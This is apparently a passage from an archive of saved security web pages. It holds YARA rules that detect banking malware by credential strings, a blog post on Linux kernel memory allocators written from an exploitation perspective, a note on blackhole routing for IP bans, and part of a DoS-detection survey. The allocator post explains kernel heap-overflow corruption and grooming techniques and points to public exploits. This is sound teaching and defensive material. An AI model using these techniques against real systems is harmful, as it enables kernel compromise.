special operators, regular expressions and many other features that you can
find explained in YARA's documentation.

YARA is multi-platform, running on Windows, Linux and Mac OS X, and can be
used through its command-line interface or from your own Python scripts with
the yara-python extension.

## More examples¶

The following are real-life examples of how to use YARA rules to identify
malware families.

[code]

    rule zbot : banker  
    {  
         strings:   
            $a = "__SYSTEM__" wide  
            $b = "*tanentry*"  
            $c = "*<option"  
            $d = "*<select"  
            $e = "*<input"  
      
         condition:  
            ($a and $b) or ($c and $d and $e)  
    }  
      
    rule banbra : banker  
    {  
        strings:   
            $a = "senha" fullword nocase  
            $b = "cartao" fullword nocase  
            $c = "caixa"   
            $d = "login" fullword nocase  
            $e = ".com.br"  
      
         condition:  
            #a > 3 and #b > 3 and #c > 3 and #d > 3 and #e > 3                
    }
    
[/code]

## Who's using YARA¶

  * VirusTotal Malware Intelligence Services \(http://vt-mis.com\)
  * jsunpack-n \(http://jsunpack.jeek.org/\)

##

# census | The Linux kernel memory allocators from an exploitation perspective
**Created:**| _1/3/2012 4:35:02 PM_  
---|---  
**Updated:**| _1/3/2012 4:35:02 PM_  
**Author:**| __  
**Tags:**| _Exploit Linux kernel Memory corruptions_  
  

## The Linux kernel memory allocators from an exploitation perspective

\[ posted by argp on 03.01.2012 \]  

In anticipation of Dan Rosenberg’s talk on exploiting the Linux kernel’s SLOB
memory allocator at the Infiltrate security conference and because I recently
had a discussion with some friends about the different kernel memory
allocators in Linux, I decided to write this quick introduction. I will
present some of the allocators’ characteristics and also provide references to
public work on exploitation techniques.

<img src='img/Temp2_10124.jpg' width='300' height='225' />

At the time of this writing, the Linux kernel has three different memory
allocators in the official code tree, namely SLAB, SLUB and SLOB. These
allocators are on a memory management layer that is logically on top of the
system’s low level page allocator and are mutually exclusive \(i.e. you can
only have one of them enabled/compiled in your kernel\). They are used when a
kernel developer calls `kmalloc()` or a similar function. Unsurprisingly, they
can all be found in the mm directory. All of them follow, to various extends
and by extending or simplifying, the traditional slab allocator design
\(notice the lowercase “slab”; that’s the term for the general allocator
design approach, while “SLAB” is a slab implementation in the Linux kernel\).
Slab allocators allocate prior to any request, for example at kernel boot
time, large areas of virtual memory \(called “slabs”, hence the name\). Each
one of these slabs is then associated to a kernel structure of a specific type
and size. Furthermore, each slab is divided into the appropriate number of
slots for the size of the kernel structure it is associated with. As an
example consider that a slab for the structure `task_struct` has 31 slots. The
size of a `task_struct` is 1040 bytes, so assuming that a page is 4096 bytes
\(the default\) then a `task_struct` slab is 8 pages long. Apart from the
structure-specific slabs, like the one above for `task_struct`, there are also
the so called general purpose slabs which are used to serve arbitrary-sized
`kmalloc()` requests. These requests are adjusted by the allocator for
alignment and assigned to a suitable slab.

Let’s take a look at the slabs of a recent Linux kernel:

[code]

    $ cat /proc/slabinfo
    slabinfo — version: 2.1
    ...
    fat_inode_cache       57     57    416   19    2 : tunables    0    0    0 : slabdata
    3      3      0
    fat_cache            170    170     24  170    1 : tunables    0    0    0 : slabdata
    1      1      0
    VMBlockInodeCache      7      7   4480    7    8 : tunables    0    0    0 : slabdata
    1      1      0
    blockInfoCache         0      0   4160    7    8 : tunables    0    0    0 : slabdata
    0      0      0
    AF_VMCI                0      0    704   23    4 : tunables    0    0    0 : slabdata
    0      0      0
    fuse_request          80     80    400   20    2 : tunables    0    0    0 : slabdata
    4      4      0
    fuse_inode         21299  21690    448   18    2 : tunables    0    0    0 : slabdata
    1205   1205      0
    ...
    kmalloc-8192          94     96   8192    4    8 : tunables    0    0    0 : slabdata
    24     24      0
    kmalloc-4096         118    128   4096    8    8 : tunables    0    0    0 : slabdata
    16     16      0
    kmalloc-2048         173    208   2048   16    8 : tunables    0    0    0 : slabdata
    13     13      0
    kmalloc-1024         576    640   1024   16    4 : tunables    0    0    0 : slabdata
    40     40      0
    kmalloc-512          904    992    512   16    2 : tunables    0    0    0 : slabdata
    62     62      0
    kmalloc-256          540    976    256   16    1 : tunables    0    0    0 : slabdata
    61     61      0
    kmalloc-128          946   1408    128   32    1 : tunables    0    0    0 : slabdata
    44     44      0
    kmalloc-64         13013  13248     64   64    1 : tunables    0    0    0 : slabdata
    207    207      0
    kmalloc-32         23624  27264     32  128    1 : tunables    0    0    0 : slabdata
    213    213      0
    kmalloc-16          3546   3584     16  256    1 : tunables    0    0    0 : slabdata
    14     14      0
    kmalloc-8           4601   4608      8  512    1 : tunables    0    0    0 : slabdata
    9      9      0
    kmalloc-192         3659   4620    192   21    1 : tunables    0    0    0 : slabdata
    220    220      0
    kmalloc-96         10137  11340     96   42    1 : tunables    0    0    0 : slabdata
    270    270      0
    kmem_cache            32     32    128   32    1 : tunables    0    0    0 : slabdata
    1      1      0
    kmem_cache_node      256    256     32  128    1 : tunables    0    0    0 : slabdata
    2      2      0
    
[/code]

Here you can see structure-specific slabs, for example `fuse_inode`, and
general purpose slabs, for example `kmalloc-96`.

When it comes to the exploitation of overflow bugs in the context of slab
allocators, there are three general approaches to corrupt kernel memory:

  * Corruption of the adjacent objects/structures of the same slab. 
  * Corruption of the slab allocator’s management structures \(referred to as _metadata_\). 
  * Corruption of the adjacent _physical_ page of the slab your vulnerable structure is allocated on. 

The ultimate goal of the above approaches is of course to gain control of the
kernel’s execution flow and divert/hijack it to your own code. In order to be
able to manipulate the allocator and the state of its slabs, arranging
structures on them to your favor \(i.e. next to each other on the same slab,
or at the end of a slab\), it is nice \(but not strictly required ;\) to have
some information on the allocator’s state. The proc filesystem provides us
with a way to get this information. Unprivileged local users can simply `cat
/proc/slabinfo` \(as shown above\) and see the allocator’s slabs, the number
of used/free structures on them, etc. Is your distribution still allowing
this?

For each one of the Linux kernel’s allocators I will provide references to
papers describing practical attack techniques and examples of public exploits.

### SLAB

Starting with the oldest of the three allocators, SLAB organizes physical
memory frames in caches. Each cache is responsible for a specific kernel
structure. Also, each cache holds slabs that consist of contiguous pages and
these slabs are responsible for the actual storing of the kernel structures of
the cache’s type. A SLAB’s slab can have both allocated \(in use\) and
deallocated \(free\) slots. Based on this and with the goal of reducing
fragmentation of the system’s virtual memory, a cache’s slabs are divided into
three lists; a list with full slabs \(i.e slabs with no free slots\), a list
with empty slabs \(slabs on which all slots are free\), and a list with
partial slabs \(slabs that have slots both in use and free\).

A SLAB’s slab is described by the following structure:

[code]

    struct slab
    {
        union
        {
            struct
            {
                struct list_head list;
                unsigned long colouroff;
                void *s_mem;            /* including colour offset */
                unsigned int inuse;     /* num of objs active in slab */
                kmem_bufctl_t free;
                unsigned short nodeid;
            };
    
            struct slab_rcu __slab_cover_slab_rcu;
        };
    };
    
[/code]

The `list` variable is used to place the slab in one of the lists I described
above. Coloring and the variable `colouroff` require some explanation in case
you haven’t seen them before. Coloring or cache coloring is a performance
trick to reduce processor L1 cache hits. This is accomplished by making sure
that the first “slot” of a slab \(which is used to store the slab’s `slab`
structure, i.e. the slab’s metadata\) is not placed at the beginning of the
slab \(which is also at the start of a page\) but an offset `colouroff` from
it. `s_mem` is a pointer to the first slot of the slab that stores an actual
kernel structure/object. `free` is an index to the next free object of the
slab.

As I mentioned in the previous paragraph, a SLAB’s slab begins with a `slab`
structure \(the slab’s metadata\) and is followed by the slab’s objects. The
stored objects on a slab are contiguous, with no metadata in between them,
making easier the exploitation approach of corrupting adjacent objects. Easier
means that when we overflow from one object to its adjacent we don’t corrupt
management data that could lead to making the system crash.

By manipulating SLAB through controlled allocations and deallocations from
userland that affect the kernel \(for example via system calls\) we can
arrange that the overflow from a vulnerable structure will corrupt an adjacent
structure of our own choosing. The fact that SLAB’s allocations and
deallocations work in a LIFO manner is of course to our advantage in arranging
structures/objects on the slabs. As qobaiashi has presented in his paper “The
story of exploiting kmalloc\(\) overflows”, the system calls `semget()` and
`semctl(..., ..., IPC_RMID)` is one way to make controlled allocations and
deallocations respectively. The term “controlled” here refers to both the size
of the allocation/deallocation and the fact that we can use them directly from
userland. Another requirement that these system calls satisfy is that the
structure they allocate can help us in our quest for code execution when used
as a victim object and corrupted from a vulnerable object. Other ways/system
calls that satisfy all the above requirements do exist.

Another resource on attacking SLAB is “Exploiting kmalloc overflows to 0wn
j00” by amnesia and clflush. In that presentation the authors explained the
development process for a reliable exploit for vulnerability CVE-2004-0424
\(which was an integer overflow leading to a kernel heap buffer overflow found
by ihaquer and cliph\). Both the presentation and the exploit are not public
as far as I know. However, a full exploit was published by twiz and sgrakkyu
in Phrack \#64 \(castity.c\).

### SLUB

SLUB is currently the default allocator of the Linux kernel. It follows the
SLAB allocator I have already described in its general design \(caches, slabs,
full/empty/partial lists of slabs, etc.\), however it has introduced
simplifications in respect to management overhead to achieve better
performance. One of the main differences is that SLUB has no metadata at the
beginning of each slab like SLAB, but instead it has added it’s metadata
variables in the Linux kernel’s `page` structure to track the allocator’s data
on the physical pages.

The following excerpt includes only the relevant parts of the `page`
structure, see here for the complete version.

[code]

    struct page
    {
        ...
    
        struct
        {
            union
            {
                pgoff_t index;          /* Our offset within mapping. */
                void *freelist;         /* slub first free object */
            };
    
            ...
    
            struct
            {
                unsigned inuse:16;
                unsigned objects:15;
                unsigned frozen:1;
            };
    
            ...
        };
    
        ...
    
        union
        {
            ...
            struct kmem_cache *slab;        /* SLUB: Pointer to slab */  
            ...
        };
    
        ...
    };
    
[/code]

Since there are no metadata on the slab itself, a `page`‘s `freelist` pointer
is used to point to the first free object of the slab. A free object of a slab
has a small header with metadata that contain a pointer to the next free
object of the slab. The `index` variable holds the offset to these metadata
within a free object. `inuse` and `objects` hold respectively the allocated
and total number of objects of the slab. `frozen` is a flag that specifies
whether the page can be used by SLUB’s list management functions.
Specifically, if a page has been frozen by a CPU core, only this core can
retrieve free objects from the page, while the other available CPU cores can
only add free objects to it. The last interesting for our discussion variable
is `slab` which is of type `struct kmem_cache` and is a pointer to the slab on
the page.

The function `on_freelist()` is used by SLUB to determine if a given object is
on a given page’s `freelist` and provides a nice introduction to the use of
the above elements. The following snippet is an example invocation of
`on_freelist()` \(taken from here\):

[code]

    slab_lock(page);
    
    if(on_freelist(page->slab, page, object))
    {
        object_err(page->slab, page, object, "Object is on free-list");
        rv = false;
    }
    else
    {
        rv = true;
    }
    
    slab_unlock(page);
    
[/code]

Locking is required to avoid inconsistencies since `on_freelist()` makes some
modifications and it could be interrupted. Let’s take a look at an excerpt
from `on_freelist()` \(the full version is here\):

[code]

    static int on_freelist(struct kmem_cache *s, struct page *page, void *search)
    {
        int nr = 0;
        void *fp;
        void *object = NULL;
        unsigned long max_objects;
    
        fp = page->freelist;
        while(fp && nr <= page->objects)
        {
            if(fp == search)
                return 1;
            if(!check_valid_pointer(s, page, fp))
            {
                if(object)
                {
                    object_err(s, page, object, "Freechain corrupt");
                    set_freepointer(s, object, NULL);
                    break;
                }
                else
                {
                    slab_err(s, page, "Freepointer corrupt");
                    page->freelist = NULL;
                    page->inuse = page->objects;
                    slab_fix(s, "Freelist cleared");
                    return 0;
                }
    
                break;
            }
    
            object = fp;
            fp = get_freepointer(s, object);
            nr++;
        }
    
        ...
    }
    
[/code]

The function starts with a simple piece of code that walks the `freelist` and
demonstrates the use of SLUB internal variables. Of particular interest is the
call of the `check_valid_pointer()` function which verifies that a
`freelist`‘s object’s address \(variable `fp`\) is within a slab page. This is
a check that safeguards against corruptions of the `freelist`.

This brings us to attacks against the SLUB memory allocator. The attack vector
of corrupting adjacent objects on the same slab is fully applicable to SLUB
and largely works like in the case of the SLAB allocator. However, in the case
of SLUB there is an added attack vector: exploiting the allocator’s metadata
\(the ones responsible for finding the next free object on the slab\). As twiz
and sgrakkyu have demonstrated in their book on kernel exploitation, the slab
can be misaligned by corrupting the least significant byte of the metadata of
a free object that hold the pointer to the next free object. This misalignment
of the slab allows us to create an in-slab fake object and by doing so to a\)
satisfy safeguard checks as the one I explained in the previous paragraph when
they are used, and b\) to hijack the kernel’s execution flow to our own code.

An example of SLUB metadata corruption and slab misalignment is the exploit
for vulnerability CVE-2009-1046 which was an off-by-two kernel heap overflow.
In this blog post, sgrakkyu explained how by using only an one byte overflow
turned this vulnerability into a reliable exploit \(tiocl\_houdini.c\). If
you’re wondering why an one byte overflow is more reliable than a two byte
overflow think about little-endian representation.

A public example of corrupting adjacent SLUB objects is the exploit i-can-haz-
modharden.c by Jon Oberheide for vulnerability CVE-2010-2959 discovered by Ben
Hawkes. In this blog post you can find an overview of the exploit and the
technique.

### SLOB

Finally, SLOB is a stripped down kernel allocator implementation designed for
systems with limited amounts of memory, for example embedded
versions/distributions of Linux. In fact its design is closer to traditional
userland memory allocators rather than the slab allocators SLAB and SLUB. SLOB
places all objects/structures on pages arranged in three linked lists, for
small, medium and large allocations. Small are the allocations of size less
than `SLOB_BREAK1` \(256 bytes\), medium those less than `SLOB_BREAK2` \(1024
bytes\), and large are all the other allocations:

[code]

    #define SLOB_BREAK1 256
    #define SLOB_BREAK2 1024
    static LIST_HEAD(free_slob_small);
    static LIST_HEAD(free_slob_medium);
    static LIST_HEAD(free_slob_large);
    
[/code]

Of course this means that in SLOB we can have objects/structures of different
types and sizes on the same page. This is the main difference between SLOB and
SLAB/SLUB. A SLOB page is defined as follows:

[code]

    struct slob_page
    {
        union
        {
            struct
            {
                unsigned long flags;    /* mandatory */
                atomic_t _count;        /* mandatory */
                slobidx_t units;        /* free units left in page */
                unsigned long pad[2];
                slob_t *free;           /* first free slob_t in page */
                struct list_head list;  /* linked list of free pages */
            };
    
            struct page page;
        };
    };
    
[/code]

The function `slob_alloc()` is SLOB’s main allocation routine and based on the
requested size it walks the appropriate list trying to find if a page of the
list has enough room to accommodate the new object/structure \(the full
function is here\):

[code]

    static void *slob_alloc(size_t size, gfp_t gfp, int align, int node)
    {
        struct slob_page *sp;
        struct list_head *prev;
        struct list_head *slob_list;
        slob_t *b = NULL;
        unsigned long flags;
    
        if (size < SLOB_BREAK1)
            slob_list = &free_slob_small;
        else if (size < SLOB_BREAK2)
            slob_list = &free_slob_medium;
        else
            slob_list = &free_slob_large;
    
        ... 
    
        list_for_each_entry(sp, slob_list, list)
        {
            ...
    
[/code]

I think this is a good place to stop since I don't want to go into too many
details and because I really look forward to Dan Rosenberg's talk.

### Notes

Wrapping this post up, I would like to mention that there are other slab
allocators proposed and implemented for Linux apart from the above three. SLQB
and SLEB come to mind, however as the benevolent dictator has ruled they are
not going to be included in the mainline Linux kernel tree until one of the
existing three has been removed.

Exploitation techniques and methodologies like the ones I mentioned in this
post can be very helpful when you have a vulnerability you're trying to
develop a reliable exploit for. However, you should keep in mind that every
vulnerability has its own set of requirements and conditions and therefore
every exploit is a different story/learning experience. Understanding a bug
and actually developing an exploit for it are two very different things.

Thanks to Dan and Dimitris for their comments.

### References

The following resources were not linked directly in the discussion, but would
be helpful in case you want to look more into the subject.

http://lxr.linux.no/linux+v3.1.6/  
http://lwn.net/Articles/229984/  
http://lwn.net/Articles/311502/  
http://lwn.net/Articles/229096/  
http://phrack.org/issues.html?issue=66&id=15\#article  
http://phrack.org/issues.html?issue=66&id=8\#article

tags: exploitation, heap, kernel, linux, slab, slob, slub

# using the kernel routing table instead of iptables for effective IP
blacklist management « nenolod.net

**Created:**| _1/3/2011 11:55:40 AM_  
---|---  
**Updated:**| _1/3/2011 11:55:58 AM_  
**Author:**| __  
**Tags:**| _BSD network-security kernel_  
  

<img src='img/Temp2_10680.png' alt='nenolod.net' />

## using the kernel routing table instead of iptables for effective IP
blacklist management

iptables is great, but not if you want to ban thousands of IPs from your box.
By design, firewalls aren’t really meant for that sort of thing, as they
typically do ruleset iteration on each traffic flow \(such as a sctp or tcp
connection\).

Instead, to do this efficiently, we use the kernel routing table. The reason
why we use the kernel routing table is because, typically, it is a radix trie
which uses IP masks as keys. This is a lot faster than iterating through
thousands of iptables rules and has the same effect – since an outbound route
is blocked, replies can’t be received by the hostile IP, which means that
connections can’t be set up, as they require a three-way handshake.

Linux defines `RTN_BLACKHOLE` as the flag used to define nullroutes. This flag
is supported by the IPv4, IPv6 and DECnet routing tables.

To add an outbound nullroute, simply do the same thing as you would an inbound
nullroute on your firewalling box:

[code]

    # ip route add blackhole 192.168.1.1/32
    
[/code]

Deleting works like this:

[code]

    # ip route del blackhole 192.168.1.1/32
    
[/code]

If you use FreeBSD or NetBSD or MacOS, it’s something like that. On FreeBSD,
it’s:

[code]

    # route add -host 192.168.1.1 127.0.0.1 -blackhole
    # route del -host 192.168.1.1 127.0.0.1 -blackhole
    
[/code]

I don’t know what it is on NetBSD, but I would guess that it’s the same.

The cool thing about this is that if you can aggregate your banlists to
network boundaries, you can actually set them as nullroutes in CIDR format and
it makes things _even faster_. Mind, ruleset aggregation also improves
netfilter’s performance, but this is considerably more scalable than using
netfilter. Netfilter \(iptables\) should be used when you actually need to do
filtering, the routing table should be used when you want to ban IPs outright
– that’s why the networking stack has blackhole functionality.

# Denial-of-Service Attack-Detection Techniques

**Created:**| _5/9/2009 10:50:31 AM_  
---|---  
**Updated:**| _5/9/2009 10:51:04 AM_  
**Author:**| __  
**Tags:**| _DoS_  
  

From _IEEE Internet Computing_

Spotlight

Denial-of-Service Attack-Detection Techniques

<img src='img/Temp2_2106.jpg' alt='Jan./Feb. 2006' />  
---  
Jan./Feb. 2006  
Glenn Carl and George Kesidis • Pennsylvania State University  
Richard R. Brooks • Clemson University  
Suresh Rai • Louisiana State University

Denial-of-service \(DoS\) detection techniques — such as activity profiling,
change-point detection, and wavelet-based signal analysis — face the
considerable challenge of discriminating network-based flooding attacks from
sudden increases in legitimate activity or flash events. This survey of
techniques and testing results provides insight into our ability to
successfully identify DoS flooding attacks. Although each detector shows
promise in limited testing, none completely solve the detection problem.
Combining various approaches with experienced network operators will most
likely produce the best results.

The Internet was designed for the minimal processing and best-effort
forwarding of any packet, malicious or not. For cyberattackers—motivated by
revenge, prestige, politics, or money—this architecture provides an
unregulated network path to victims. Denial-of-service \(DoS\) attacks exploit
this to target mission-critical services. A quantitative estimate of worldwide
DoS attack frequency found 12,000 attacks over a three-week period in 2001.1
The 2004 _CSI/FBI Computer Crime and Security Survey_ 2 listed DoS attacks
among the most financially expensive security incidents. The magnitude of the
incidence rate and potential recovery expense has garnered the interest of
security managers and researchers alike.

DoS attacks, which come in many forms, are explicit attempts to block
legitimate users’ system access by reducing system availability. We could, for
example, consider the intentional removal of a system’s electrical power as a
physical DoS attack. An attacker could also render a computing re­source
unavailable by modifying the system configuration \(such as its static routing
tables or password files\). Such physical or host-based intrusions are
generally addressed through hardened security policies and authentication
mechanisms. Although software patching defends against some attacks, it fails
to safeguard against DoS flooding attacks, which exploit the unregulated
forwarding of Internet packets. A secondary defense that includes both attack
detection and countermeasures is required.

Here, we survey various approaches for detecting DoS flooding attacks—a
_network-based_ attack in which agents intentionally saturate system resources
with increased network traffic. In a distributed DoS \(DDoS\) attack, the
assault is coordinated across many hijacked systems \(_zombies_\) by a single
attacker \(_master_\). Techniques that detect DoS also apply to DDoS. \(We
don’t discuss defense or countermeasures; these are surveyed elsewhere,3 and
typically include using packet filters to stem the attack’s packet flow.\) The
malicious workload in network-based DoS attacks comprises network datagrams or
packets that consume network buffers, CPU processing cycles, and link
bandwidth. When any of these resources form a bottleneck, system performance
degrades or stops, impeding legitimate system use. Overloading a Web server
with spurious requests, for example, slows its response to legitimate users.
This specific DoS attack type doesn’t breach the end \(victim\) system, either
physically or administratively, and requires no other pre-existing conditions
except an Internet connection.

# Network-Based DoS Attacks

Although many high-profile DoS attacks have occurred, few have been
empirically captured and analyzed. Given the potential for bad publicity,
victims hesitate to share information regarding security incidents. As a
result, it’s difficult for researchers to directly observe attacks and find
their ubiquitous characteristics. In cases in which attack forensics are
available, researchers can introduce classification systems, but attackers
typically modify their techniques soon after discovery. As a result, the DoS
attack-definition space is ever changing.

## General Attack Types

To keep our discussion manageable, we’ve generalized it based on the exploited
weakness, dividing the network-based DoS attack space into vulnerability
attacks and flooding attacks. A more detailed classification of DoS attacks is
available elsewhere.4

In a _vulnerability_ attack, malformed packets interact with some network
protocol or application weakness present at the victim. This type of
vulnerability typically originates in inadequate software assurance testing or
negligent patching. The malformed attack packets interact with installed
software, causing excessive memory consumption, extra CPU processing, system
reboot, or general system slowing. Popular examples are the land attack,
Neptune or Transmission Control Protocol synchronization \(TCP SYN\) flag, the
ping o’ death, and the targa3 attacks.

_Flooding_ attacks—our focus here—send the victim a large, occasionally
continuous, amount of network traffic workload. As a result, legitimate
workloads can become congested and lost at bottleneck locations near or
removed from the victim. Such an attack requires no software vulnerability or
other specific conditions. To saturate network links, queues, and processors
with workload anywhere in the network, the attack can use a range of
protocols, including Internet Control Message Protocol \(ICMP\), User Datagram
Protocol \(UDP\), and TCP, through tools such as stream2, synhose, synk7,
synsend, and hping2. Under continued attack-related congestion, flow-
controlled applications will continue to increase their back-off time between
retransmissions. From the users’ perspective, their workload isn’t being
processed; a DoS situation has occurred.

## Attack Detection

Vulnerability-attack workloads use common at­tributes to exploit software
weaknesses. A TCP SYN attack, for example, requires repetitive use of specific
TCP flag fields. Once the exploit is identified, adequate vendor support
ensures the vulnerability is short-lived and unlikely to return. Vendors can
address TCP SYN attacks using syn cache, syn cookies, and synkill mechanisms,
for example.

Although vendors can address vulnerability attacks by correcting protocol or
application weaknesses, these types of attacks can remain problematic. If
their volume is sufficient enough to cause resource depletion and subsequent
performance degradation, they can be reclassified as flooding attacks. For
this reason, flooding attacks are especially difficult because even the
best-­maintained system can become congested, thus denying service to
legitimate users.

# Survey of Detection Approaches

A detector’s main goal is to detect and distinguish malicious packet traffic
from legitimate packet traffic. If, for example, many clients all want Web
service and a DoS attack maliciously floods many Web session requests as well,
how can the Web server discriminate between the requests? Clearly, legitimate
user activity can be easily confused with a flooding attack, and vice versa.

When large amounts of expected or unexpected traffic from legitimate clients
suddenly arrive at a system, it’s called a _flash event_. One way to predict
such events and thus distinguish them from DoS attacks is for service
providers to be aware, a priori, that adding new content might trigger large
request volume.5 Unpredictable and legitimate Web activity is also possible,
however \(as with the Slashdot effect, in which a newly posted link on a
popular news or information site results in numerous Web requests\). Because
there is no innate Internet mechanism for performing malicious traffic
discrimination, our best alternative is to install attack detectors to monitor
real-time traffic, rather than rely on static traffic load predictions.

DoS attack-detection approaches can be in­stalled locally, thus protecting a
possible victim, or remotely, to detect propagating attacks. Although
detecting propagating attacks is desirable, IT departments generally focus on
protecting their own networks and therefore choose local detection approaches.
In this case, they place detectors at the potential victim resource or at a
router or firewall within the victim’s subnetwork. Under this assumption, we
have limited our scope to that of the victim, which excludes several other
potential detection methods, such as the source-based DWARD6, traceback, path
identification, and others.

All detection methods define an attack as an abnormal and noticeable deviation
of some statistic of the monitored network traffic workload. Clearly, the
choice of statistic is critically important. Each of the following groupings
of attack detection techniques includes an evaluation of a different statistic
of network traffic.

## Activity Profiling

Monitoring a network packet’s header information offers an _activity profile_.
Loosely defined, this activity profile is the average packet rate for a
network flow, which consists of consecutive packets with similar packet fields
\(such as address, port, and protocol\). The elapsed time between consecutive
matching packets determines the flow’s average packet rate or activity level.
We can measure total network activity as the sum over the average packet rates
of all inbound and outbound flows.

To analyze individual flows for all possible UDP services, we would have to
monitor on the order of 264 flows, and including other protocols, such as TCP,
ICMP, and Simple Network ­Management Protocol \(SNMP\) greatly compounds the
number of possible flows. To avoid high-dimensionality issues, we can
_cluster_ individual flows with similar characteristics. Each cluster’s
activity level is the summation of constituent flows. For this abstraction, an
attack is indicated by

  * increasing activity levels among clusters, which can indicate a few attacking agents increasing their attack-generation rate; or
  * an increase in the overall number of distinct clusters, which can represent many distributed attacking agents \(as in a DDoS\).

In the backscatter analysis project,1 researchers monitored a wide IP address
space for incoming unsolicited “backscatter” packets. Such packets are a non-
collocated victim’s response to several spoofed vulnerability and flooding
attacks. The backscatter packets’ source address is that of the victim, but
the packet’s destination address is randomly spoofed. An attack that uses
uniformly distributed address-spoofing leads to a finite probability that any
monitored address space will receive backscatter packets. At the monitoring
point, captured backscatter packets are clustered based on the unique victim
source address. To detect attacks, the researchers analyze a cluster’s
destination address distribution uniformity using an Anderson-Darling test
statistic, in addition to thresholding the cluster’s activity level \(the
attack rate\) and lifetime.

Laura Feinstein and her colleagues focus their detection efforts on activity
level and source address distribution.7 They cluster flows according to the
addresses of the destination machines located behind the monitoring point. The
first cluster contains the single most frequently seen source address, the
second cluster contains the next four most frequent, the third cluster the
next 16, the fourth the next 256, and the fifth the next 4,096; the sixth
cluster encompasses all remaining traffic. The researchers compare each
cluster’s activity level to the expected amount using a chi-square statistic,
thus providing a “goodness of fit” result. A deviation from the expected
traffic profile suggests anomalous activity, and is detectable by thresholding
the chi-square statistic’s magnitude.

Many other address-distribution statistics are possible, including entropy,
which is considered a measure of randomness. Attacks that use uniform address
distributions will maximize the entropy statistic, whereas one large
voluminous flow will minimize the entropy. Thresholding an entropy deviation
from the expected traffic’s source address profile can suggest anomalous
activity.7

## Sequential Change-Point Detection

Change-point detection algorithms isolate a traffic statistic’s change caused
by attacks. These approaches initially filter the target traffic data by
address, port, or protocol and store the resultant flow as a time series. The
time series can be considered a time-domain representation of a cluster’s
activity. If a DoS flooding attack begins at time _λ_ , the time series will
show a statistical change either around or at a time greater than _λ_.

One class of change-point detection algorithms operates on continuously
sampled data and requires only low amounts of memory and computational
resources. An example here is cumulative sum \(Cusum\) algorithms. To identify
and localize a DoS attack, the Cusum identifies deviations in the actual
versus expected local average in the traffic time series.8–10 If the
difference exceeds some upper bound, the Cusum’s recursive statistic increases
for each time-series sample. During time intervals containing only normal
traffic, the difference is below this bound, and the Cusum statistic decreases
until reaching zero. Using an appropriate threshold against the Cusum
statistic, the algorithm identifies an increasing trend in the time-series
data, which might indicate a DoS attack’s onset. Through the settings of the
threshold and upper bound, the Cusum algorithm can trade off detection delay
and false-alarm rates. Other researchers have extended this detection method
to identify the typical scanning activities of network worms.11

## Wavelet Analysis

Wavelet analysis describes an input signal in terms of spectral components.
Although Fourier analysis is more common, it provides a global frequency
description and no time localization. Wavelets provide for concurrent time and
frequency description, and can thus determine the time at which certain
frequency components are present. For detection applications, wavelets
separate out time-localized anomalous signals from background noise; the input
signal contains both. Ideally, the signal and noise components will dominate
in separate spectral windows. Analyzing each spectral window’s energy
determines the presence of anomalies.

Paul Barford and his colleagues12 define anomalies as network failures or
misconfigurations, attacks \(DoS or other\), flash events, and other
“measurement” events. They decomposed traffic data into distinct time series
of average IP/HTTP packet sizes per second, flows per second, and bytes per
second. They then applied wavelet analysis to each time series, resulting in
time-localized high- and mid-band spectral energies. They considered low-
frequency content to be daily or weekly activity, and thus not an onset of an
abrupt attack. To identify anomalies, they weighted a combination of high- and
middle-spectral energies, and then thresholded its variability.

Wavelet energies in the high-band spectral window can also identify change
points within an input signal. To enhance a Cusum change-point detection
approach’s performance, Richard Brooks and his colleagues used discrete
wavelet analysis to postprocess the Cusum statistic’s response.10 The signed
magnitude of the high-band wavelet energy is proportional to the abruptness of
an increasing Cusum statistic. Thresholding the high-band spectral energies
quantifies the Cusum’s abruptness, which is a potential indicator of an abrupt
flooding attack.

# Detection Method Results

Surveying each detection method’s validation reveals disparate uses of test
data, different attack types, and a wide range of reported results. In most
cases, researchers provided quantitative true detection results, but didn’t
provide false positives, missed detections, and detection delay results. Table
1 summarizes the testing conditions and noteworthy detection test results.

**Table 1. Testing Summary.**

**Detection method**| **Reference**| **Test data**| **Attack description**|
**False-positive rate**| **Detection delay**| **Detection results**| **Memory
\( 1 = lowest\)**| **Complexity \( 1 = lowest\)**  
---|---|---|---|---|---|---|---|---  
Activity profiling | 1 | Three weeks’ worth of private network data | “Backscatter” response packets from TCP SYN, TCP flood, and closed port probes | — | — | 12,000 DoS attacks on 5,000 distinct victims | 6 | 6   
7 | Six publicly available data sets | Stacheldraht ICMP, TCP SYN, and UDP flood attack overlay of 25 percent intensity; victims addresses randomly chosen from a uniform distribution | — | — | 2 out of 2 attacks detected | 3 | 3   
Change-point detection | 8 | ns-2 simulation of 100 nodes | TCP, UDP, and ICMP floods by abrupt and linear increase | 1–6 alarms per 100 time-series samples | 1–36 seconds | UDP abrupt/linear flood | 1 | 1   
9 | Three private network data sets | TCP SYN constant rate flood attack | — | 20 seconds to 8 minutes | 100% detection with rate of >35 SYNs per second; 70% detection at 33 SYNS per second | 1 | 1   
Wavelet analysis | 12 | Three weeks’ worth of university data | 119 DoS abrupt flood attacks of 4x, 7x, and 10x intensities overlaid on empirical data | 21% false detection rate over 238 time series | Average: 25 seconds | 47% detection rate over 119 time series | 4 | 4   
10 | Three weeks' worth of university data with 109 anomalies | 39 recorded anomalies, including some DoS floods | — | 5 minutes to 1.5 hours | 39 our of 39 anomalies | 5 | 5   
## Backscatter Analysis

Researchers1 analyzed the backscatter within three weeks’ worth of empirical
data from an ingress link supporting 224 IP addresses. Conservative results
indicated that more than 12,000 DoS attacks were attempted, involving 5,000
distinct victims’ IP addresses. The researchers suggested that 50 percent of
those attacks were either TCP SYN floods or closed port probes, and 15 percent
were ICMP responses from TCP floods. Overall, 90 percent of the attacks used
TCP ranging across various services, including Internet Relay Chat \(IRC\),
HTTP, Telnet , and Authd. Almost half the attacks \(46 percent\) had an
estimated rate of 500+ packets per second.

## Chi-Square/Entropy Detector

Researchers tested the chi-square and entropy detector7 against a small set of
six publicly available data sets with anonymized IP addresses. The networking
environments included a peering Internet service provider \(NZIX\), a
450-person research organization \(Bell Labs\), a small university \(Ohio
University\), and a small company. The total amount of data appeared to be
between 100 and 150 hours, with data rates ranging from 1 to 16 Mbits per
second. Because the data traces included no known DoS attacks, the researchers
added overlaid attack traffic provided by the Stacheldraht DDoS attack tool.
Stacheldraht—which means “barbed wire” in German—performs ICMP, SYN, and UDP
floods that can run for a specified duration.

The study’s first test experiment overlaid the public data set with 25 percent
attack packets. A second experiment removed 25 percent of the traffic and
replaced it with attack packets. In both cases, the attack packets’ source
addresses were drawn from a uniform distribution. The entropy and chi-square
